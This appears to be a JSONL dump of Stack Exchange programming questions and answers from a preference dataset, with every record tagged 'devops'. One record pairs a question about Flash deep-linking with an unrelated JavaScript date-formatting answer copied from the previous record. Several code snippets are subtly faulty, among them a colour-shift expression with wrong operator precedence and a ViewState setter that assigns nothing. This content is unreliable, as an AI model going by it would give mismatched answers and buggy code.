{"id": "hf_6bd22992631d", "question": "<p>A lot of useful features in Python are somewhat \"hidden\" inside modules. Named tuples (new in <a href=\"http://docs.python.org/whatsnew/2.6.html\" rel=\"nofollow noreferrer\">Python 2.6</a>), for instance, are found in the <a href=\"http://docs.python.org/library/collections.html\" rel=\"nofollow noreferrer\">collections</a> module. </p>\n\n<p>The <a href=\"http://docs.python.org/library/\" rel=\"nofollow noreferrer\">Library Documentation page</a> will give you all the modules in the language, but newcomers to Python are likely to find themselves saying \"Oh, I didn't know I could have done it <em>this way</em> using Python!\" unless the important features in the language are pointed out by the experienced developers.</p>\n\n<p>I'm <strong>not</strong> specifically looking for new modules in Python 2.6, but modules that can be found in this latest release.</p>\n", "question_body": "", "answer": "May be\nPEP 0631\nand\nWhat's new in 2.6\ncan provide elements of answer. This last article explains the new features in Python 2.6, released on October 1 2008.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.319677"}
{"id": "hf_863536136f41", "question": "<p>I wish to perform an experiment many different times.  After every trial, I am left with a \"large\" set of output statistics -- let's say, 1000.  I would like to store the outputs of my experiments in a table, but what's the best way...?</p>\n\n<h3>Option 1</h3>\n\n<p>Have a table with 1000 columns.  Seems like a bad idea.  What if the number of statistics one day exceeds the maximum number of columns?</p>\n\n<h3>Option 2</h3>\n\n<p>Have a table with three columns.  Let's say, ID, StatisticType, and StatisticValue.  That way, you can have as many statistics as you want.  However, reading a single experiments statistics becomes more complicated.  Moreover, what if different statistics are different data types??</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Option 2, with ID, TrialID, StatisticID, StatisticValue\nWith proper indexing, it will perform fairly well (you can use PIVOT to get the values out on columns fairly easily in SQL Server 2005).\nWhen the statistics are different datatypes, the problem becomes more interesting, but in many cases, I just up-size the datatype (sometimes ints just end up in the money field).  For other non-compatible types, the best design in my mind is really separate tables for each type, but I've also seen multiple columns or a free-form text column.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.426080"}
{"id": "hf_30238924fc6a", "question": "<p>I'm porting a Java library to C#. I'm using Visual Studio 2008, so I don't have the discontinued Microsoft Java Language Conversion Assistant program (JLCA).</p>\n\n<p>My approach is to create a new solution with a similar project structure to the Java library, and to then copy the java code into a c# file and convert it to valid c# line-by-line. Considering that I find Java easy to read, the subtle differences in the two languages have surprised me.</p>\n\n<p>Some things are easy to port (namespaces, inheritance etc.) but some things have been unexpectedly different, such as visibility of private members in nested classes, overriding virtual methods and the behaviour of built-in types. I don't fully understand these things and I'm sure there are lots of other differences I haven't seen yet.</p>\n\n<p>I've got a long way to go on this project. What rules-of-thumb I can apply during this conversion to manage the language differences correctly?</p>\n", "question_body": "", "answer": "Your doing it in the only sane way you can...the biggest help will be this document from Dare Obasanjo that lists the differences between the two languages:\nhttp://www.25hoursaday.com/CsharpVsJava.html\nBTW, change all getter and setter methods into properties...No need to have the C# library function just the same as the java library unless you are going for perfect interface compatibility.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.449805"}
{"id": "hf_bddd4342c084", "question": "<p>I am trying to visualize some values on a form. They range from 0 to 200 and I would like the ones around 0 be green and turn bright red as they go to 200. </p>\n\n<p>Basically the function should return color based on the value inputted. Any ideas ?</p>\n", "question_body": "", "answer": "```\n```\nred = (float)val / 200 * 255;\n\ngreen = (float)(200 - val) / 200 * 255;\n\nblue = 0;\n\nreturn red << 16 + green << 8 + blue;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.477152"}
{"id": "hf_8c2b7e027384", "question": "<p>Is it more performant to have a bidimensional array (<code>type[,]</code>) or an array of arrays (<code>type[][]</code>) in C#?</p>\n\n<p>Particularly for initial allocation and item access</p>\n", "question_body": "", "answer": "I believe that [,] can allocate one contiguous chunk of memory, while [][] is N+1 chunk allocations where N is the size of the first dimension. So I would guess that [,] is faster on initial allocation.\nAccess is probably about the same, except that [][] would involve one extra dereference. Unless you're in an exceptionally tight loop it's probably a wash. Now, if you're doing something like image processing where you are referencing\nbetween\nrows rather than traversing row by row, locality of reference will play a big factor and [,] will probably edge out [][] depending on your cache size.\nAs Marc Gravell mentioned, usage is key to evaluating the performance...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.534444"}
{"id": "hf_950f2b038289", "question": "<p>Let's say I've got two strings in JavaScript:</p>\n\n<pre><code>var date1 = '2008-10-03T20:24Z'\nvar date2 = '2008-10-04T12:24Z'\n</code></pre>\n\n<p>How would I come to a result like so:</p>\n\n<pre><code>'4 weeks ago'\n</code></pre>\n\n<p>or</p>\n\n<pre><code>'in about 15 minutes'\n</code></pre>\n\n<p>(should support past and future).</p>\n\n<p>There are solutions out there for the past diffs, but I've yet to find one with support for future time diffs as well.</p>\n\n<p>These are the solutions I tried:</p>\n\n<p><a href=\"http://ejohn.org/blog/javascript-pretty-date/#postcomment\" rel=\"nofollow noreferrer\">John Resig's Pretty Date</a> and <a href=\"http://www.zachleat.com/web/2008/03/23/yet-another-pretty-date-javascript/\" rel=\"nofollow noreferrer\">Zach Leatherman's modification</a></p>\n\n<p>Bonus points for a jQuery solution.</p>\n", "question_body": "", "answer": "Looking at the solutions you linked... it is actually as simple as my frivolous comment!\nHere's a version of the Zach Leatherman code that prepends \"In \" for future dates for you. As you can see, the changes are very minor.\n```\n```\nfunction humane_date(date_str){\n      var time_formats = [\n          [60, 'Just Now'],\n          [90, '1 Minute'], // 60*1.5\n          [3600, 'Minutes', 60], // 60*60, 60\n          [5400, '1 Hour'], // 60*60*1.5\n          [86400, 'Hours', 3600], // 60*60*24, 60*60\n          [129600, '1 Day'], // 60*60*24*1.5\n          [604800, 'Days', 86400], // 60*60*24*7, 60*60*24\n          [907200, '1 Week'], // 60*60*24*7*1.5\n          [2628000, 'Weeks', 604800], // 60*60*24*(365/12), 60*60*24*7\n          [3942000, '1 Month'], // 60*60*24*(365/12)*1.5\n          [31536000, 'Months', 2628000], // 60*60*24*365, 60*60*24*(365/12)\n          [47304000, '1 Year'], // 60*60*24*365*1.5\n          [3153600000, 'Years', 31536000], // 60*60*24*365*100, 60*60*24*365\n          [4730400000, '1 Century'], // 60*60*24*365*100*1.5\n      ];\n\n      var time = ('' + date_str).replace(/-/g,\"/\").replace(/[TZ]/g,\" \"),\n          dt = new Date,\n          seconds = ((dt - new Date(time) + (dt.getTimezoneOffset() * 60000)) / 1000),\n          token = ' Ago',\n          prepend = '',\n          i = 0,\n          format;\n\n      if (seconds < 0) {\n          seconds = Math.abs(seconds);\n          token = '';\n          prepend = 'In ';\n      }\n\n      while (format = time_formats[i++]) {\n          if (seconds < format[0]) {\n              if (format.length == 2) {\n                  return (i>1?prepend:'') + format[1] + (i > 1 ? token : ''); // Conditional so we don't return Just Now Ago\n              } else {\n                  return prepend + Math.round(seconds / format[2]) + ' ' + format[1] + (i > 1 ? token : '');\n              }\n          }\n      }\n\n      // overflow for centuries\n      if(seconds > 4730400000)\n          return Math.round(seconds / 4730400000) + ' Centuries' + token;\n\n      return date_str;\n  };\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.576737"}
{"id": "hf_708c0ba13afd", "question": "<p>Ok, I'm using the term \"Progressive Enhancement\" kind of loosely here but basically I have a Flash-based website that supports deep linking and loads content dynamically - what I'd like to do is provide alternate content (text) for those either not having Flash and for search engine bots. So, for a user with flash they would navigate to:</p>\n\n<pre><code>http://www.samplesite.com/#specific_page\n</code></pre>\n\n<p>and they would see a flash site that would navigate to the \"<code>specific_page</code>.\"  Those without flash would see the \"<code>specific_page</code>\" rendered in text in the alternative content section.</p>\n\n<p>Basically, I would use php/mysql to create a backend to handle all of this since the swf is also using dynamic data. The question is, does something out there that does this already exist?</p>\n", "question_body": "", "answer": "Looking at the solutions you linked... it is actually as simple as my frivolous comment!\nHere's a version of the Zach Leatherman code that prepends \"In \" for future dates for you. As you can see, the changes are very minor.\n```\n```\nfunction humane_date(date_str){\n      var time_formats = [\n          [60, 'Just Now'],\n          [90, '1 Minute'], // 60*1.5\n          [3600, 'Minutes', 60], // 60*60, 60\n          [5400, '1 Hour'], // 60*60*1.5\n          [86400, 'Hours', 3600], // 60*60*24, 60*60\n          [129600, '1 Day'], // 60*60*24*1.5\n          [604800, 'Days', 86400], // 60*60*24*7, 60*60*24\n          [907200, '1 Week'], // 60*60*24*7*1.5\n          [2628000, 'Weeks', 604800], // 60*60*24*(365/12), 60*60*24*7\n          [3942000, '1 Month'], // 60*60*24*(365/12)*1.5\n          [31536000, 'Months', 2628000], // 60*60*24*365, 60*60*24*(365/12)\n          [47304000, '1 Year'], // 60*60*24*365*1.5\n          [3153600000, 'Years', 31536000], // 60*60*24*365*100, 60*60*24*365\n          [4730400000, '1 Century'], // 60*60*24*365*100*1.5\n      ];\n\n      var time = ('' + date_str).replace(/-/g,\"/\").replace(/[TZ]/g,\" \"),\n          dt = new Date,\n          seconds = ((dt - new Date(time) + (dt.getTimezoneOffset() * 60000)) / 1000),\n          token = ' Ago',\n          prepend = '',\n          i = 0,\n          format;\n\n      if (seconds < 0) {\n          seconds = Math.abs(seconds);\n          token = '';\n          prepend = 'In ';\n      }\n\n      while (format = time_formats[i++]) {\n          if (seconds < format[0]) {\n              if (format.length == 2) {\n                  return (i>1?prepend:'') + format[1] + (i > 1 ? token : ''); // Conditional so we don't return Just Now Ago\n              } else {\n                  return prepend + Math.round(seconds / format[2]) + ' ' + format[1] + (i > 1 ? token : '');\n              }\n          }\n      }\n\n      // overflow for centuries\n      if(seconds > 4730400000)\n          return Math.round(seconds / 4730400000) + ' Centuries' + token;\n\n      return date_str;\n  };\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.598339"}
{"id": "hf_6cb268e471d3", "question": "<p>I need a (php) regex to match Yahoo's username rules:</p>\n\n<blockquote>\n  <p>Use 4 to 32 characters and start with a letter. You may use letters, numbers, underscores, and one dot (.).</p>\n</blockquote>\n", "question_body": "", "answer": "A one dot limit?  That's tricky.\nI'm no regex expert, but I think this would get it, except for that:\n```\n```\n[A-Za-z][A-Za-z0-9_.]{3,31}\n```\n```\nMaybe you could check for the . requirement separately?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.662694"}
{"id": "hf_3a6a2a81c2bc", "question": "<p>I have the following code making a GET request on a URL:</p>\n\n<pre><code>$('#searchButton').click(function() {\n    $('#inquiry').load('/portal/?f=searchBilling&amp;pid=' + $('#query').val());            \n});\n</code></pre>\n\n<p>But the returned result is not always reflected. For example, I made a change in the response that spit out a stack trace but the stack trace did not appear when I clicked on the search button. I looked at the underlying PHP code that controls the ajax response and it had the correct code and visiting the page directly showed the correct result but the output returned by .load was old.</p>\n\n<p>If I close the browser and reopen it it works once and then starts to return the stale information. Can I control this by jQuery or do I need to have my PHP script output headers to control caching?</p>\n", "question_body": "", "answer": "One way is to add a unique number to the end of the url:\n```\n```\n$('#inquiry').load('/portal/?f=searchBilling&pid=' + $('#query').val()+'&uid='+uniqueId());\n```\n```\nWhere you write uniqueId() to return something different each time it's called.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.697205"}
{"id": "hf_18f91f70dd68", "question": "<p>I'm trying to display a series of titles varying from 60 characters to 160 or so and the capitalization varies, some of it all caps, some half caps.  When it's mostly lowercase the whole 160 characters of text fits in the width I want, but when it starts getting more caps (they must be wider), it starts over flowing.</p>\n\n<p>Is there a way to use an attractive fixed witdh font (upper and lowercase widths the same too), or dynamically shrink the text to fit, or otherwise recognize how much space the text is going to take on the server side, and cut off the end dynamically?  Or do you folks have a better solution?</p>\n", "question_body": "", "answer": "You could fix the width and hide the overflow,\n```\nstyle=\"width: Xpx; overflow: hidden;\"\n```\nThat will limit the width and cut off the end if it's too wide.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.742105"}
{"id": "hf_e081ec7fbb29", "question": "<p>I'm trying to write a regex that will parse out the <strong>directory and filename</strong> of a fully qualified path using matching groups.</p>\n\n<p>so...</p>\n\n<pre><code>/var/log/xyz/10032008.log\n</code></pre>\n\n<p>would recognize <code>group 1 to be \"/var/log/xyz\"</code> and <code>group 2 to be \"10032008.log\"</code></p>\n\n<p>Seems simple but I can't get the matching groups to work for the life of me.</p>\n\n<p>NOTE:  As pointed out by some of the respondents this is probably not a good use of regular expressions.  Generally I'd prefer to use the file API of the language I was using.  What I'm actually trying to do is a little more complicated than this but would have been much more difficult to explain, so I chose a domain that everyone would be familiar with in order to most succinctly describe the root problem.</p>\n", "question_body": "", "answer": "What language? and why use regex for this simple task?\nIf you\nmust\n:\n```\n```\n^(.*)/([^/]*)$\n```\n```\ngives you the two parts you wanted. You might need to quote the parentheses:\n```\n```\n^\\(.*\\)/\\([^/]*\\)$\n```\n```\ndepending on your preferred language syntax.\nBut I suggest you just use your language's string search function that finds the last \"/\" character, and split the string on that index.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.770405"}
{"id": "hf_fec94008888a", "question": "<p>Every time I call this method my NSMutableData is leaking and I cannot figure out how to plug it. theData's retain count is upped by one after the decoder is allocated and initialized and I have no idea why. I am stuck with a retain count of 2 at the end of the method and attempting to release it causes an app crash.</p>\n\n<pre><code>- (void)readVenueArchiveFile:(NSString *)inFile key:(NSString *)inKey\n{\n    NSMutableData *theData;\n    NSKeyedUnarchiver *decoder;\n\n\n    theData = [NSData dataWithContentsOfFile:inFile];\n\n    decoder = [[NSKeyedUnarchiver alloc] initForReadingWithData:theData];\n\n    venueIOList = [[decoder decodeObjectForKey:inKey] mutableCopy];\n\n    [decoder finishDecoding];\n\n    [decoder release];\n}\n</code></pre>\n", "question_body": "", "answer": "Don't worry about retain counts, worry about balance within a method.  What you're doing in this method looks correct, assuming\n```\nvenueIOList\n```\nis an instance variable.\nTo expand on my answer a little bit:  The unarchiver might be retaining your data during the unarchive operation, and then sending the data\n```\n-autorelease\n```\nwhen it's done instead of\n```\n-release\n```\n.  Since that's not something\nyou\ndid, it's not something\nyou\nhave to care about.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.804590"}
{"id": "hf_69bc78a10897", "question": "<p>My development environment is running in JDK1.6, and I need to compile some classes so they are compatible with a client running JDK1.5.  How would I do this with the 'javac' ant target?</p>\n", "question_body": "", "answer": "Command line : javac -target 1.5 sourcefiles\nAnt:\n```\n< javac srcdir=\"${src} destdir=\"${build}\" target=\"1.5\" />\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.830194"}
{"id": "hf_841bee00f46c", "question": "<p>I've got a Win32 C++ app with a suite of unit tests.  After the unit tests have finished running, I'd like a human-readable report on any unfreed memory to be automatically generated.  Ideally, the report will have a stack with files &amp; line number info for each unfreed allocation.  It would be nice to have them generated in a consistent order to make it easy to diff it from one run to the next.  (Basically, I would like the results of valgrind --leak-check=full, but on windows).  </p>\n\n<p>I've had success with UMDH getting this kind of info from running processes, but that tool only seems to work if you attach to an existing process.  I want this to happen automatically every time I run my unit tests.</p>\n\n<p>Is there a tool that can do this?  If so, how do I use it?  </p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "If you're using MSVC, Microsoft's Debug heap functions can be used to generate the report you want, but it may not be as automatic as you'd like (you may need to write some custom code):\n```\n```\n_CrtSetReportMode\n_CrtSetReportFile\n_CrtMemState    \n_CrtMemCheckpoint\n_CrtMemDumpStatistics\n_CrtSetReportFile\n_CrtSetDbgFlag\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.852921"}
{"id": "hf_9e596ca03918", "question": "<p>How do I write a decorator that restores the current working directory to what it was before the decorated function was called?  In other words, if I use the decorator on a function that does an <code>os.chdir()</code>, the cwd will not be changed after the function is called.</p>\n", "question_body": "", "answer": "```\n```\ndef preserve_cwd(function):\n   def decorator(*args, **kwargs):\n      cwd = os.getcwd()\n      result = function(*args, **kwargs)\n      os.chdir(cwd)\n      return result\n   return decorator\n```\n```\nHere's how it's used:\n```\n```\n@preserve_cwd\ndef test():\n  print 'was:',os.getcwd()\n  os.chdir('/')\n  print 'now:',os.getcwd()\n\n>>> print os.getcwd()\n/Users/dspitzer\n>>> test()\nwas: /Users/dspitzer\nnow: /\n>>> print os.getcwd()\n/Users/dspitzer\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.876515"}
{"id": "hf_285272e267b2", "question": "<p>I'd like to be able to toggle easily between two values for \"maximum number of parallel project builds\" in Visual Studio 2008 (in Tools->Options->Projects and Solutions->Build and Run). (When I'm planning on doing concurrent work I'd like to reduce it from 4 to 3.) I'm not too well versed in writing macros for the IDE. When I try recording a macro, and perform all the actions (open the dialog, change the setting, click OK), the only thing that gets recorded is this:</p>\n\n<pre><code>DTE.ExecuteCommand (\"Tools.Options\")\n</code></pre>\n\n<p>Is my goal unattainable?</p>\n", "question_body": "", "answer": "It appears to be impossible, according to the MSDN page for\nDetermining Names of Property Items in Tools Options Pages\nIf it\nwas\npossible, it would have been something like this:\n```\n```\nDim p = DTE.Properties(\"ProjectsAndSolutions\",\"BuildAndRun\")\np.Item(\"MaxNumParallelBuilds\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.911175"}
{"id": "hf_89f68b3e09a1", "question": "<p>I have a type (System.Type) of an enum and a string containing enumeration value to set.</p>\n\n<p>E.g. given: </p>\n\n<pre><code>enum MyEnum { A, B, C };\n</code></pre>\n\n<p>I have typeof(MyEnum) and \"B\".</p>\n\n<p>How do I create MyEnum object set to MyEnum.B?</p>\n", "question_body": "", "answer": "```\n```\nMyEnum enumValue = (MyEnum)Enum.Parse(typeof(MyEnum), \"B\");\n```\n```\nYou also have a case-insensitive overload.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.969010"}
{"id": "hf_f49cd60c034d", "question": "<p>When I try to bind port 80 to a socket in c, i always get the error, that I don't have permission to use this port. is there an easy way to get this permission?</p>\n", "question_body": "", "answer": "Usually only the superuser (root) can bind to 'privileged' ports (i.e. those port numbers below 1024).\nThis means that you either have to run your program as root or make your executable 'suid root'.\nBoth of these have security consequences so you may want to consider using the suid approach and relinquishing superuser privileges once the bind call has been made.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.992087"}
{"id": "hf_b474e2b9d61d", "question": "<p>I am having a very hard time finding a standard pattern / best practice that deals with rendering child controls inside a composite based on a property value.</p>\n\n<p>Here is a basic scenario. I have a Composite Control that has two child controls, a textbox and a dropdown. Lets say there is a property that toggles which child to render.</p>\n\n<p>so:</p>\n\n<pre><code>myComposite.ShowDropdown = true;\n</code></pre>\n\n<p>If true, it shows a dropdown, otherwise it shows the textbox.</p>\n\n<p>The property value should be saved across postbacks, and the the correct control should be displayed based on the postback value. </p>\n\n<p>Any good examples out there?</p>\n", "question_body": "", "answer": "I would think something like:\n```\n```\npublic bool ShowDropDown\n{\n    get{ return (bool)ViewState[\"ShowDropDown\"]; }\n    set{ ViewState[\"ShowDropDown\"]; }\n}\n\nprivate  void Page_Load(object sender, EventArgs e)\n{\n    DropDaownControl.Visible = ShowDropDown;\n    TextBoxControl.Visible = !ShowDropDown;\n} \n/* some more code */\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.092640"}
{"id": "hf_1c4a8960a6fa", "question": "<p>There is a way to keep the scroll on bottom for a multi line textbox?</p>\n\n<p>Something like in the vb6 </p>\n\n<pre><code>txtfoo.selstart=len(txtfoo.text)\n</code></pre>\n\n<p>I'm trying with txtfoo.selectionstart=txtfoo.text.length without success.</p>\n\n<p>Regards.</p>\n", "question_body": "", "answer": "Ok, I found that the solution was to use\n```\n```\ntxtfoo.AppendText\n```\n```\ninstead of\n```\n```\ntxtfoo.text+=\"something\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.141750"}
{"id": "hf_d163062df3bb", "question": "<p>I have an RFID reader connected to an Arduino board. I'd like to connect to it over its serial interface, and whenever the RFID reader omits a signal ( when it has read an (RF)ID ), I'd like to retrieve it in my C++ program.</p>\n\n<p>I already have the code for simply printing the RFID to serial from the Arduino.</p>\n\n<p>What I don't know, is <em>how to read it from C++</em> in Linux ?</p>\n\n<p>I have looked at <strong>libserial</strong>, which looks straightforward. However, how can I <em>have the C++ program react to a signal and then read the RFID</em>, instead of listening continously? Is this necessary?</p>\n\n<p>EDIT: In most examples I have read, the (c++) program sends input, and recieves output. I just want to listen and recieve output from the Arduino.</p>\n", "question_body": "", "answer": "The\nCommunications\npart of the Interface section in the Arduino Playground has several examples of interfacing, including one with the Arduino as Linux TTY.\nTry the\nSyntax and Programs\nforum and the\nSoftware Development\nforum on the Arduino site. There have been discussions about interfacing to many different languages and computers in the past.\nAnd finally check out the\nProcessing\nand\nWiring\nsites. The Arduino IDE is based on the Processing language, and the Wiring environment and dev board is related to Arduino. Both sites have lots more examples and links to even more resources.\nEdit:\nI just realized that I didn't answer your actual question. These are all general communications resources, but some may have hints towards how to alert the computer of a new RFID input.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.169329"}
{"id": "hf_0c4d51cfdb2e", "question": "<p>In ActionScript 3.0, is there an automatic way to calculate the number of days, hours, minutes and seconds between two specified dates?</p>\n\n<p>Basicly, what I need is the ActionScript equivalent of the .NET Timespan class.</p>\n\n<p>Any idea?</p>\n", "question_body": "", "answer": "You can covert the two date times into milliseconds since the epoch, perform your math and then use the resultant milliseconds to calculate these higher timespan numbers.\n```\n```\nvar someDate:Date = new Date(...);\nvar anotherDate:Date = new Date(...);\nvar millisecondDifference:int = anotherDate.valueOf() - someDate.valueOf();\nvar seconds:int = millisecondDifference / 1000;\n....\n```\n```\nThe\nLiveDocs\nare useful for this type of thing too. Sorry if the ActionScript is a bit off, but it has been a while.\nI'd also recommend creating a set of static class methods that can perform these operations if you're doing a lot of this type of math. Sadly, this basic functionality doesn't really exist in the standard APIs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.203215"}
{"id": "hf_01562e2a51e0", "question": "<p>As kind of a follow up to <a href=\"https://stackoverflow.com/questions/111605/what-kind-of-prefix-do-you-use-for-member-variables\">this question about prefixes</a>, I agree with most people on the thread that prefixes are bad. But what about if you are using getters and setters? Then you need to differeniate the publicly accessible getter name from the privately stored variable. I normally just use an underscore, but is there a better way?</p>\n", "question_body": "", "answer": "In a case sensitive language I just use:\n```\n```\nprivate int myValue;\n\npublic int MyValue\n{\n    get { return myValue; }\n}\n```\n```\nOtherwise I would use an underscore\n```\n```\nPrivate _myValue As Integer\n\nPublic ReadOnly Property MyValue As Integer\n    Get\n        Return _myValue\n    End Get\nEnd Property\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.238479"}
{"id": "hf_7fe77d9499ba", "question": "<p>In SQL Server you can use the <code>IsNull()</code> function to check if a value is null, and if it is, return another value. Now I am wondering if there is anything similar in C#.</p>\n\n<p>For example, I want to do something like:</p>\n\n<pre><code>myNewValue = IsNull(myValue, new MyValue());\n</code></pre>\n\n<p>instead of:</p>\n\n<pre><code>if (myValue == null)\n  myValue = new MyValue();\nmyNewValue = myValue;\n</code></pre>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "It's called the null coalescing (\n```\n??\n```\n) operator:\n```\n```\nmyNewValue = myValue ?? new MyValue();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.262399"}
{"id": "hf_9c2da8501552", "question": "<p>I'm used to writing classes like this:</p>\n\n<pre><code>public class foo {\n  private string mBar = \"bar\";\n  public string Bar {\n    get { return mBar; }\n    set { mBar = value; }\n  }\n  //... other methods, no constructor ...\n}\n</code></pre>\n\n<p>Converting Bar to an auto-property seems convenient and concise, but how can I retain the initialization without adding a constructor and putting the initialization in there?</p>\n\n<pre><code>public class foo2theRevengeOfFoo {\n  //private string mBar = \"bar\";\n  public string Bar { get; set; }\n  //... other methods, no constructor ...\n  //behavior has changed.\n}\n</code></pre>\n\n<p>You could see that adding a constructor isn't inline with the effort savings I'm supposed to be getting from auto-properties.</p>\n\n<p>Something like this would make more sense to me:</p>\n\n<pre><code>public string Bar { get; set; } = \"bar\";\n</code></pre>\n", "question_body": "", "answer": "In the default constructor (and any non-default ones if you have any too of course):\n```\n```\npublic foo() {\n    Bar = \"bar\";\n}\n```\n```\nThis is no less performant that your original code I believe, since this is what happens behind the scenes anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.285576"}
